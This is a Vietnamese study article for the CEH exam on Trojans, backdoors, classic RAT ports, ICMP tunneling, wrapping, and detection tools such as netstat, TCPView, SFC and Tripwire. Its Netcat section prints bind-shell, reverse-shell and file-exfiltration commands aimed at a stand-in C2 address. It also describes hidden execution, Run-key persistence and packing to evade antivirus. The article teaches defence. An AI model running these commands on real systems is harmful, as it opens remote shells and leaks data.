CEH Module 6: Trojan, Backdoor và Cơ chế Kiểm soát Máy tính Từ xa
Phân tích chuyên sâu kiến trúc Trojan, Backdoor, kỹ thuật đóng gói Wrapping, cơ chế đường hầm ICMP Tunneling và nguyên lý thực thi Netcat Reverse Shell qua tường lửa.
Trong chiến lược tấn công và chiếm quyền điều khiển hệ thống, việc khai thác thành công lỗ hổng bảo mật ban đầu chỉ là bước khởi đầu. Để duy trì quyền kiểm soát bền vững, trích xuất dữ liệu nhạy cảm theo thời gian thực hoặc sử dụng máy tính nạn nhân làm bàn đạp (pivot) cho các cuộc tấn công diện rộng, kẻ tấn công bắt buộc phải thiết lập các kênh kết nối từ xa. Hai vũ khí kinh điển và nguy hiểm nhất được sử dụng trong giai đoạn này là Trojan và Backdoor.
Mặc dù thường được nhắc đến cùng nhau trong các tài liệu an toàn thông tin, Trojan và Backdoor đại diện cho hai khía cạnh kỹ thuật riêng biệt: một bên là phương thức ngụy trang và phân phối mã độc, bên còn lại là cơ chế mở cổng và duy trì quyền truy cập. Bài viết này sẽ phân tích toàn diện kiến trúc hoạt động của Trojan và Backdoor theo chuẩn CEH v12, mổ xẻ nguyên lý truyền tin ngầm Covert Channel qua đường hầm ICMP, phân tích sự khác biệt cốt lõi giữa Bind Shell và Reverse Shell bằng Netcat, kỹ thuật đóng gói tập tin (Wrapping), cùng các phương pháp giám sát cổng và kiểm tra tính toàn vẹn hệ thống thực tế.
1. Bản chất Kỹ thuật: Phân định Rõ ràng giữa Trojan và Backdoor
Trong các kỳ thi chứng chỉ CEH cũng như trong công tác phân tích mã độc thực tế, việc hiểu sai bản chất giữa Trojan và Backdoor dẫn đến nhận định sai lầm trong việc khoanh vùng sự cố và triển khai các biện pháp ngăn chặn.
Khái niệm và Kiến trúc Hoạt động của Backdoor
Backdoor (hay "cửa sau") là một chương trình độc hại hoặc một đoạn mã được cài đặt ngầm trên hệ thống mục tiêu nhằm cung cấp cho kẻ tấn công quyền truy cập từ xa mà không cần thông qua các cơ chế xác thực thông thường (như nhập tên người dùng và mật khẩu hợp lệ). Một khi backdoor đã được cấy vào hệ thống, kẻ tấn công có thể quay trở lại bất kỳ lúc nào, ngay cả khi người quản trị đã vá các lỗ hổng phần mềm ban đầu.
Kiến trúc tiêu chuẩn của một Backdoor hiện đại hoạt động theo mô hình Client - Server:
- Thành phần Server (Backdoor Agent): Là tập tin thực thi độc hại được cài đặt và chạy ngầm trên máy tính của nạn nhân. Thành phần này có nhiệm vụ mở cổng lắng nghe kết nối đến (đối với Bind Shell) hoặc chủ động khởi tạo kết nối đi ra ngoài (đối với Reverse Shell), đồng thời gắn các lệnh điều khiển nhận được vào luồng thông dịch lệnh của hệ điều hành (như
cmd.exe,powershell.exetrên Windows hoặc/bin/sh,/bin/bashtrên Linux). - Thành phần Client (Controller): Là ứng dụng được kẻ tấn công sử dụng trên máy tính của mình để phát các lệnh điều khiển, xem cây thư mục, tải lên/tải xuống tập tin, chỉnh sửa registry, và theo dõi màn hình hoặc thao tác bàn phím của nạn nhân.
Các dòng Remote Administration Trojan (RAT) như SubSeven, Back Orifice, Poison Ivy, DarkComet hay QuasarRAT đều triển khai mô hình Client - Server này một cách tinh vi. Không chỉ đơn thuần mở kênh dòng lệnh, RAT còn cung cấp giao diện đồ họa đầy đủ cho phép điều khiển chuột, bật webcam, và quản lý các dịch vụ hệ thống như một phần mềm quản trị từ xa hợp pháp.
Khái niệm Trojan và Cơ chế Đánh lừa Nhận thức
Thuật ngữ Trojan bắt nguồn từ điển tích con ngựa gỗ thành Troy trong thần thoại Hy Lạp cổ đại. Về mặt kỹ thuật an toàn thông tin, Trojan là một chương trình có chứa mã độc ẩn giấu bên trong một ứng dụng có vẻ hoàn toàn hợp pháp, hữu ích hoặc vô hại đối với người dùng.
Người dùng bị dẫn dụ cài đặt Trojan thông qua các hình thức lừa đảo (social engineering), chẳng hạn như tải về các bản vá bẻ khóa phần mềm (crack, keygen), các tiện ích tối ưu hóa hệ thống giả mạo, hoặc các tập tin đính kèm trong thư điện tử giả danh hóa đơn thuế hoặc thông báo ngân hàng. Khi người dùng thực thi tập tin, tính năng hữu ích mà họ mong muốn vẫn xuất hiện bình thường, nhưng đoạn mã độc hại đi kèm sẽ được giải nén và kích hoạt ngầm trong nền hệ thống.
Sự phân định cốt lõi giữa hai khái niệm được tóm tắt như sau: Trojan là phương tiện vận chuyển và ngụy trang (Vehicle/Delivery Mechanism), trong khi Backdoor là tải trọng chức năng (Payload Functionality) nhằm duy trì quyền điều khiển. Một phần mềm độc hại có thể vừa là Trojan vừa là Backdoor nếu nó ngụy trang dưới dạng một trò chơi điện tử để tự cài đặt một dịch vụ mở cổng quản trị từ xa vào hệ thống.
2. Bảng Phân loại Các Dòng Trojan Kinh điển và Cổng Giao tiếp Đặc trưng
Trong lịch sử phát triển của an ninh mạng và các bài thi quốc tế CEH, một số dòng Trojan kinh điển luôn được sử dụng làm điển hình cho các kỹ thuật chiếm quyền. Mặc dù các hệ thống phòng thủ hiện đại đã nhận diện được chữ ký nhị phân của chúng, các nguyên lý hoạt động và số hiệu cổng mặc định của các công cụ này vẫn là nền tảng kiến thức bắt buộc đối với mọi chuyên viên phân tích bảo mật.
| Tên Trojan | Giao thức Vận chuyển | Cổng Mặc định | Đặc điểm Kỹ thuật và Hành vi Tấn công |
|---|---|---|---|
| Back Orifice (BO2K) | UDP | 31337, 31338 | Do nhóm Cult of the Dead Cow phát triển. Sử dụng UDP không hướng kết nối để truyền lệnh, hỗ trợ mã hóa 3DES và ẩn tiến trình khỏi Task Manager của Windows. |
| Deep Throat | UDP | 2140, 3150 | Lắng nghe trên cổng UDP 2140/3150, hỗ trợ kiểm soát hệ thống tập tin, mở ổ đĩa CD-ROM tự động để trêu chọc nạn nhân, và ghi nhật ký bàn phím. |
| NetBus | TCP | 12345, 12346 | Trojan quản trị từ xa nổi tiếng trên nền Windows 95/98/NT. Mở cổng TCP 12345 cho phép chụp ảnh màn hình, bắt chuột và gửi thông báo pop-up lên màn hình máy chủ. |
| Whack-a-mole | TCP | 12361, 12362 | Biến thể quản trị từ xa chuyên đánh cắp dữ liệu mật khẩu lưu trên bộ nhớ đệm và chuyển đổi luồng dữ liệu hệ thống. |
| GirlFriend | TCP | 21544 | Dòng Trojan chuyên đánh cắp thông tin tài khoản quay số Internet (Dial-up), mật khẩu lưu trong trình duyệt web và gửi qua email về máy kẻ tấn công. |
| Masters Paradise | TCP | 3129, 40421 - 40426 | Dòng Trojan đa luồng tinh vi, sử dụng đồng thời nhiều cổng TCP độc lập để truyền hình ảnh màn hình, âm thanh micro và kênh truyền lệnh riêng biệt. |
| SubSeven (Sub7) | TCP | 27374, 1243 | Một trong những RAT đồ họa mạnh mẽ nhất, hỗ trợ đổi cổng linh hoạt, tích hợp trình nghe lén webcam, micrô và đổi màu giao diện máy tính. |
Một điểm quan trọng mà chuyên viên phân tích cần ghi nhớ: các số hiệu cổng liệt kê trong bảng trên chỉ là giá trị cấu hình mặc định được các tác giả gán cho tập tin máy chủ khi biên dịch. Trong thực tế tấn công có chủ đích (APT), kẻ tấn công luôn tái cấu hình máy chủ Trojan để lắng nghe trên các cổng dịch vụ tiêu chuẩn như TCP 80 (HTTP), TCP 443 (HTTPS) hoặc TCP 53 (DNS) nhằm đánh lừa hệ thống giám sát và lẩn tránh sự chú ý của quản trị viên.
3. Kênh Truyền thông: Overt Channel và Covert Channel (Đường hầm ICMP Tunneling)
Khi thiết lập liên lạc giữa máy tính nạn nhân và máy chủ điều khiển (C2 - Command & Control), kẻ tấn công phải đối mặt với các hệ thống tường lửa (Firewall) và hệ thống phát hiện xâm nhập (NIDS). Để vượt qua sự kiểm soát này, khái niệm về kênh truyền hợp lệ (Overt Channel) và kênh truyền ngầm (Covert Channel) được áp dụng.
Phân biệt Overt Channel và Covert Channel
Một Overt Channel (kênh truyền hợp lệ) là phương thức truyền thông sử dụng một giao thức mạng đúng theo thiết kế và tiêu chuẩn kỹ thuật của nó. Ví dụ: trình duyệt web gửi yêu cầu HTTP GET đến cổng 80 của máy chủ web để nhận về mã HTML, hoặc máy khách kết nối cổng 22 để bắt đầu phiên SSH. Các kênh truyền hợp lệ hoàn toàn minh bạch và chịu sự giám sát chặt chẽ của các quy tắc tường lửa thông thường.
Ngược lại, một Covert Channel (kênh truyền ngầm) là phương thức truyền thông che giấu dữ liệu trái phép bên trong một giao thức mạng hợp pháp khác, lợi dụng những trường dữ liệu mà thiết bị bảo vệ mạng thường bỏ qua không kiểm tra kỹ. Đây chính là kỹ thuật ẩn mã trong giao thức (Protocol Steganography). Dữ liệu gửi qua Covert Channel không bị phát hiện bởi các bộ lọc tường lửa chỉ kiểm tra tiêu đề gói tin (Header-filtering Firewall).
Cơ chế Hoạt động của Đường hầm ICMP Tunneling và Công cụ Loki
ICMP (Internet Control Message Protocol) là giao thức cốt lõi của bộ giao thức TCP/IP, được sử dụng để thông báo lỗi mạng và kiểm tra khả năng kết nối giữa các máy chủ (thông qua lệnh ping). Trong cấu trúc gói tin ICMP Echo Request (Type 8) và ICMP Echo Reply (Type 0), phần dữ liệu đệm (Data Payload) thường chứa các chuỗi ký tự mặc định vô hại do hệ điều hành tạo ra (chẳng hạn chuỗi abcdefghijklmnopqrstuvwabcdefghi trên Windows).
Công cụ tấn công kinh điển Loki đã lợi dụng điểm mù này bằng cách:
- Máy chủ C2 của kẻ tấn công đóng gói các lệnh thực thi nhị phân hoặc shell script vào chính phần Data Payload của gói tin ICMP Echo Request gửi đến máy nạn nhân.
- Mã độc Loki cài trên máy nạn nhân đón nhận gói tin ICMP này, tách phần dữ liệu bên trong ra, thực thi lệnh trong hệ điều hành, và thu thập kết quả trả về.
- Kết quả thực thi lại được nén và đóng gói vào trường Data Payload của gói tin ICMP Echo Reply gửi trả ngược lại cho máy tấn công.
Vì hầu hết các quản trị viên mạng cấu hình tường lửa cho phép lưu lượng ICMP ping qua lại để chẩn đoán hệ thống, đường hầm ICMP tunneling hoạt động hoàn toàn tự do mà không cần mở bất kỳ cổng TCP hay UDP nào trên máy nạn nhân. Khi chạy lệnh kiểm tra kết nối như netstat -an, quản trị viên sẽ không thấy bất kỳ cổng nào đang ở trạng thái LISTENING, khiến việc phát hiện bằng mắt thường trở nên vô hiệu.
4. Netcat: Phân tích Kỹ thuật Bind Shell và Reverse Shell
Được mệnh danh là "con dao pha Thụy Sĩ" (Swiss Army Knife) của hệ thống mạng, Netcat (nc) là một tiện ích dòng lệnh mạnh mẽ có khả năng đọc và ghi dữ liệu trực tiếp qua các kết nối mạng TCP hoặc UDP. Mặc dù ban đầu được thiết kế như một công cụ chẩn đoán và quản trị hệ thống hợp pháp, Netcat đã trở thành một vũ khí tấn công cực kỳ nguy hiểm trong tay các hacker khi được sử dụng để tạo backdoor.
Nguyên lý Thực thi Lệnh từ xa qua Netcat
Điểm làm cho Netcat trở thành một backdoor hoàn hảo chính là tham số -e (execute). Tham số này cho phép chuyển hướng luồng nhập chuẩn (Standard Input - stdin) và luồng xuất chuẩn (Standard Output - stdout) của một chương trình dòng lệnh trực tiếp vào kết nối mạng TCP/UDP.
Các tham số cấu hình cốt lõi của Netcat bao gồm:
-l(listen): Đặt Netcat vào trạng thái lắng nghe kết nối đến (chế độ Server).-p <port>: Chỉ định số hiệu cổng cục bộ cần mở để lắng nghe hoặc gửi gói tin.-vhoặc-vv: Bật chế độ hiển thị chi tiết (verbose) để theo dõi trạng thái bắt tay kết nối.-u: Chuyển sang sử dụng giao thức UDP thay cho TCP mặc định.-z: Chế độ quét cổng (Zero-I/O mode), chỉ gửi gói tin thăm dò mà không truyền nhận dữ liệu.-e <program>: Gắn chương trình thực thi vào kênh kết nối mạng.
So sánh Chuyên sâu: Bind Shell vs Reverse Shell
Sự khác biệt kỹ thuật mang tính sống còn giữa Bind Shell và Reverse Shell quyết định khả năng thành bại của một chiến dịch xâm nhập:
1. Cơ chế Bind Shell (Shell Gắn Cổng)
Trong kịch bản Bind Shell, máy nạn nhân đóng vai trò là bên chủ động mở cổng lắng nghe và chờ kẻ tấn công kết nối đến:
# Câu lệnh thực thi trên máy nạn nhân (Target Windows):
C:> nc -l -p 4444 -e cmd.exe
# Câu lệnh thực thi trên máy kẻ tấn công (Attacker):
$ nc 192.168.1.100 4444
Điểm yếu chí mạng: Khi máy nạn nhân nằm sau một hệ thống tường lửa doanh nghiệp hoặc thiết bị NAT, toàn bộ các gói tin TCP SYN từ bên ngoài Internet hướng vào cổng 4444 sẽ bị Drop hoặc Reject theo quy tắc mặc định (Default Deny Inbound). Do đó, Bind Shell gần như chỉ áp dụng được trong mạng nội bộ không có phân vùng an ninh hoặc trên các máy chủ có IP tĩnh công khai mà không có tường lửa bảo vệ.
2. Cơ chế Reverse Shell (Shell Gọi Ngược)
Để khắc phục triệt để rào cản tường lửa, kẻ tấn công chuyển sang sử dụng mô hình Reverse Shell, trong đó vai trò kết nối được đảo ngược hoàn toàn:
# Bước 1: Kẻ tấn công mở cổng chờ trên máy chủ C2 công khai của mình:
attacker@c2:~$ nc -lvp 4444
# Bước 2: Nạn nhân thực thi lệnh kết nối ngược ra máy chủ C2:
C:> nc 203.0.113.5 4444 -e cmd.exe
Lý do kỹ thuật giúp Reverse Shell thành công:
- Hầu hết các tường lửa biên (Border Firewall) và tường lửa cá nhân (Windows Defender Firewall) áp dụng chính sách lọc nghiêm ngặt đối với luồng vào (Inbound Filtering), nhưng lại nới lỏng đáng kể đối với luồng đi ra (Outbound/Egress Traffic) để nhân viên có thể duyệt web, gửi email và làm việc bình thường.
- Khi máy nạn nhân khởi tạo gói tin TCP SYN đi ra ngoài cổng 4444 của máy chủ C2, tường lửa Stateful nhận diện đây là một phiên kết nối hợp lệ do người dùng nội bộ khởi xướng. Tường lửa tự động ghi nhận phiên này vào bảng trạng thái kết nối (State Table) và cấp phép cho các gói tin TCP ACK/PSH quay trở về.
- Kẻ tấn công nhận được kết nối và ngay lập tức có được quyền điều khiển terminal
cmd.execủa nạn nhân với đầy đủ đặc quyền của người dùng đã thực thi lệnh.
Các Kỹ thuật Netcat Nâng cao
Bên cạnh việc thiết lập shell điều khiển, Netcat còn hỗ trợ trích xuất dữ liệu nhạy cảm thông qua cơ chế chuyển hướng ống dẫn (Pipes):
# Máy nhận dữ liệu (Attacker) lắng nghe và ghi vào tập tin dump:
attacker@c2:~$ nc -l -p 8080 > confidential_backup.zip
# Máy gửi (Victim) đẩy dữ liệu nhạy cảm ra mạng qua Netcat:
victim@workstation:~$ cat confidential_backup.zip | nc 203.0.113.5 8080
Để thăm dò nhanh các cổng dịch vụ đang mở trên mục tiêu từ xa mà không cần cài đặt các bộ quét phức tạp như Nmap, Netcat cung cấp cờ -z:
$ nc -z -v 192.168.1.100 20-25
Connection to 192.168.1.100 21 port [tcp/ftp] succeeded!
Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.100 25 port [tcp/smtp] succeeded!
5. Kỹ thuật Đóng gói Mã độc: Cơ chế Trojan Wrapping và Dropper
Một câu hỏi kỹ thuật thường gặp: Làm thế nào kẻ tấn công có thể thuyết phục người dùng nhấp đúp vào một tập tin mã độc như nc.exe hoặc backdoor.exe? Câu trả lời nằm ở kỹ thuật Đóng gói (Wrapping) và Cơ chế Thả mã độc (Dropper).
Nguyên lý của Công cụ Binder và Wrapper
Một công cụ Binder (như EliteWrap, Restorator, hoặc các trình đóng gói tùy biến) hoạt động bằng cách hợp nhất hai hoặc nhiều tập tin thực thi nhị phân độc lập thành một tập tin thực thi duy nhất (Single Executable Package):
- Tập tin hợp lệ (Host/Legitimate Program): Là một ứng dụng có ích thật sự đối với nạn nhân, ví dụ như ứng dụng máy tính
calc.exe, một trò chơi điện tử nhỏ, hoặc phần mềm cài đặt bộ gõ tiếng Việt. - Tập tin độc hại (Malicious Payload): Là mã độc backdoor hoặc script Reverse Shell mà kẻ tấn công muốn thực thi trên máy mục tiêu.
- Trình giải nén mồi (Stub/Dropper Routine): Là đoạn mã nhỏ được đặt ở điểm nhập (Entry Point) của tập tin thực thi mới, chịu trách nhiệm điều phối toàn bộ quá trình khởi chạy.
Vòng đời Thực thi Kép (Dual Execution Flow)
Khi người dùng nhấp đúp vào tập tin đã bị đóng gói (ví dụ setup_tool.exe), đoạn mã Stub sẽ thực hiện chuỗi hành vi sau:
- Giải nén tức thời: Stub trích xuất cả hai tập tin (chương trình hợp lệ và backdoor) vào thư mục tạm thời của hệ điều hành, thường là
%TEMP%hoặc%APPDATA%. - Kích hoạt luồng chạy ngầm (Silent Background Process): Stub gọi hàm API của Windows như
CreateProcess()hoặcShellExecute()với cờSW_HIDEđể thực thi backdoor một cách hoàn toàn ẩn danh. Không có bất kỳ cửa sổ console nào hiện lên trên màn hình, không có biểu tượng nào xuất hiện dưới thanh Taskbar. Đồng thời, backdoor tự ghi khóa vào registry (nhưHKCUSoftwareMicrosoftWindowsCurrentVersionRun) để duy trì sự tồn tại sau mỗi lần máy tính khởi động lại. - Kích hoạt luồng hiển thị (Foreground Legitimate Process): Ngay lập tức sau đó, Stub khởi chạy chương trình hợp lệ trong chế độ hiển thị bình thường. Giao diện phần mềm người dùng mong đợi xuất hiện trước mắt, khiến họ tin rằng việc cài đặt đã diễn ra suôn sẻ mà không hề hay biết hệ thống đã bị xâm nhập hoàn toàn.
Bên cạnh các công cụ Binder, các hacker còn sử dụng các trình nén mã thực thi (Executable Packers) như UPX (Ultimate Packer for eXecutables). Mặc dù UPX được tạo ra nhằm giảm kích thước tập tin nhị phân, việc nén cấu trúc PE (Portable Executable) làm xáo trộn toàn bộ chuỗi byte ban đầu, khiến các chữ ký mã độc truyền thống của phần mềm diệt virus không thể so khớp được, qua đó gia tăng khả năng lẩn tránh sự phát hiện.
6. Phương pháp Phát hiện, Giám sát Cổng và Kiểm tra Tính Toàn vẹn Hệ thống
Để đối phó với sự xâm nhập của Trojan và Backdoor, chuyên viên quản trị hệ thống và kỹ sư bảo mật (Security Operations Center - SOC) cần kết hợp linh hoạt các công cụ giám sát mạng thời gian thực và các kỹ thuật xác thực tính toàn vẹn của tập tin hệ điều hành.
1. Giám sát Cổng và Tiến trình với Netstat và Các Công cụ Chuyên dụng
Lệnh dòng lệnh cơ bản và hiệu quả nhất tích hợp sẵn trên mọi hệ điều hành Windows là netstat:
# Liệt kê tất cả các cổng đang mở, địa chỉ kết nối và định danh tiến trình (PID):
C:> netstat -ano | findstr LISTENING
# Kết quả mẫu nghi vấn:
TCP 0.0.0.0:12345 0.0.0.0:0 LISTENING 3844
TCP 0.0.0.0:31337 0.0.0.0:0 LISTENING 4920
Khi phát hiện các cổng lạ đang ở trạng thái LISTENING với số hiệu PID tương ứng, người quản trị có thể truy vấn định danh tiến trình đó bằng lệnh tasklist /FI "PID eq 3844" hoặc sử dụng Task Manager để xác định vị trí nhị phân của tập tin trên ổ đĩa.
Bên cạnh netstat, các công cụ phân tích nâng cao sau đây cung cấp thông tin trực quan và chi tiết hơn:
- TCPView (Sysinternals / Microsoft): Cung cấp giao diện trực quan hiển thị danh sách các kết nối TCP/UDP theo thời gian thực. TCPView tự động đánh dấu màu đỏ các kết nối bị đóng, màu xanh lá cây cho các kết nối mới xuất hiện, và cho phép người quản trị nhấp chuột phải để ngắt kết nối (Close Connection) hoặc chấm dứt tiến trình độc hại (Kill Process) ngay lập tức.
- Fport (Foundstone): Công cụ dòng lệnh gọn nhẹ chuyên lập bản đồ kết nối giữa toàn bộ các cổng TCP/UDP đang mở với các tiến trình phần mềm đang chạy trên máy tính Windows.
- Inzider: Ứng dụng theo dõi mạng chuyên sâu, có khả năng phát hiện các dòng Trojan lẩn trốn (như Back Orifice) bằng cách liệt kê chính xác các cổng gắn liền với các tiến trình hệ thống, ngay cả khi Trojan đã chèn mã độc vào các tiến trình hợp lệ để lẩn tránh danh sách Task Manager.
- PrcView: Công cụ quản lý tiến trình nâng cao dạng dòng lệnh và đồ họa, cung cấp thông tin chi tiết về các tệp DLL đang được nạp vào bộ nhớ của từng tiến trình và hỗ trợ tiêu diệt các tiến trình bị mã độc khóa cứng.
2. Kiểm tra Tính Toàn vẹn của Hệ thống Tập tin (File Integrity Monitoring)
Nhiều Trojan tinh vi không mở cổng mạng mới mà thay thế trực tiếp các tệp tin hệ thống quan trọng (như notepad.exe, svchost.exe, hoặc các tệp tin DLL của Windows) bằng phiên bản đã bị chèn mã độc. Để ngăn chặn và phục hồi các tập tin này, quản trị viên áp dụng các giải pháp kiểm tra toàn vẹn:
A. Công cụ Xác thực Chữ ký Số Sigverif
Hệ điều hành Windows cung cấp công cụ sigverif.exe (File Signature Verification) để quét toàn bộ các tập tin hệ thống quan trọng và xác định xem chúng có chữ ký điện tử hợp lệ được chứng nhận bởi Microsoft hay không:
- Nhấn tổ hợp phím
Windows + R, gõsigverifvà nhấn Enter. - Nhấp vào nút Start để bắt đầu quá trình quét tính toàn vẹn.
- Nếu có bất kỳ tập tin hệ thống nào bị Trojan thay thế hoặc chỉnh sửa mã nhị phân mà không có chữ ký số hợp lệ của Microsoft, công cụ sẽ ghi nhận danh sách vào tệp nhật ký
SIGVERIF.TXTtrong thư mục người dùng.
B. Trình Kiểm tra và Phục hồi Tập tin Hệ thống (System File Checker)
Khi phát hiện các tệp tin hệ thống có dấu hiệu bất thường, quản trị viên thực thi lệnh SFC để tự động kiểm tra và phục hồi:
C:Windowssystem32> sfc /scannow
Cơ chế hoạt động của SFC dựa trên tính năng Windows File Protection (WFP). Nếu phát hiện tệp tin hệ thống (SYS, DLL, EXE, OCX, TTF) bị hỏng hoặc bị mã độc thay thế, SFC sẽ tự động trích xuất bản sao nguyên vẹn ban đầu từ thư mục lưu trữ cache an toàn của hệ thống (%SystemRoot%System32dllcache) để ghi đè phục hồi.
C. Giải pháp Tripwire trên Môi trường Linux/Unix
Trên các máy chủ Linux, Tripwire là giải pháp chuẩn mực để giám sát tính toàn vẹn tập tin (FIM). Tripwire hoạt động bằng cách quét toàn bộ hệ thống tập tin tại thời điểm máy chủ còn sạch sẽ để tạo ra một cơ sở dữ liệu mẫu (Baseline Database), lưu trữ các giá trị băm mật mã học (MD5, SHA-256) cùng các thuộc tính phân quyền của từng tập tin nhị phân. Định kỳ, Tripwire thực hiện quét lại hệ thống và so sánh với cơ sở dữ liệu mẫu; nếu có bất kỳ sự sai lệch nào về mã băm (dù chỉ thay đổi một byte dữ liệu do backdoor chèn vào), hệ thống sẽ lập tức gửi cảnh báo khẩn cấp đến quản trị viên.
7. Tổng kết và Bài học Chuẩn bị cho Kỳ thi CEH
Trojan và Backdoor là hai thành phần then chốt trong chuỗi tấn công mạng (Cyber Kill Chain). Để làm chủ chuyên đề này trong kỳ thi chứng chỉ Certified Ethical Hacker cũng như trong công tác bảo vệ hạ tầng doanh nghiệp, bạn cần nắm vững các nguyên lý cốt lõi sau:
- Trojan là công cụ đóng gói ngụy trang; Backdoor là cơ chế duy trì quyền điều khiển từ xa thông qua mô hình Client - Server.
- Ghi nhớ các cổng mặc định của các Trojan kinh điển như Back Orifice (UDP 31337), NetBus (TCP 12345), và SubSeven (TCP 27374).
- Kênh truyền ngầm (Covert Channel) như ICMP Tunneling của công cụ Loki lợi dụng phần Data Payload của các giao thức hợp lệ để lọt qua các bộ lọc tường lửa mà không cần mở cổng TCP/UDP mới.
- Reverse Shell vượt trội hơn Bind Shell trong thực tế vì nó khởi tạo kết nối đi ra (Outbound Egress), tự động tận dụng các chính sách nới lỏng của tường lửa và tính năng bảng trạng thái của thiết bị mạng.
- Kỹ thuật Wrapping (Binder) tạo ra tập tin thực thi kép, chạy ứng dụng hợp lệ ở chế độ hiển thị (Foreground) để đánh lừa người dùng, đồng thời kích hoạt backdoor ở chế độ ẩn (Background).
- Quy trình phòng vệ đa tầng: Phối hợp giữa giám sát cổng (TCPView, Fport), phân tích phiên kết nối (
netstat -ano), xác thực chữ ký tập tin (sigverif, SFC), và thiết lập hệ thống giám sát tính toàn vẹn tập tin FIM (Tripwire).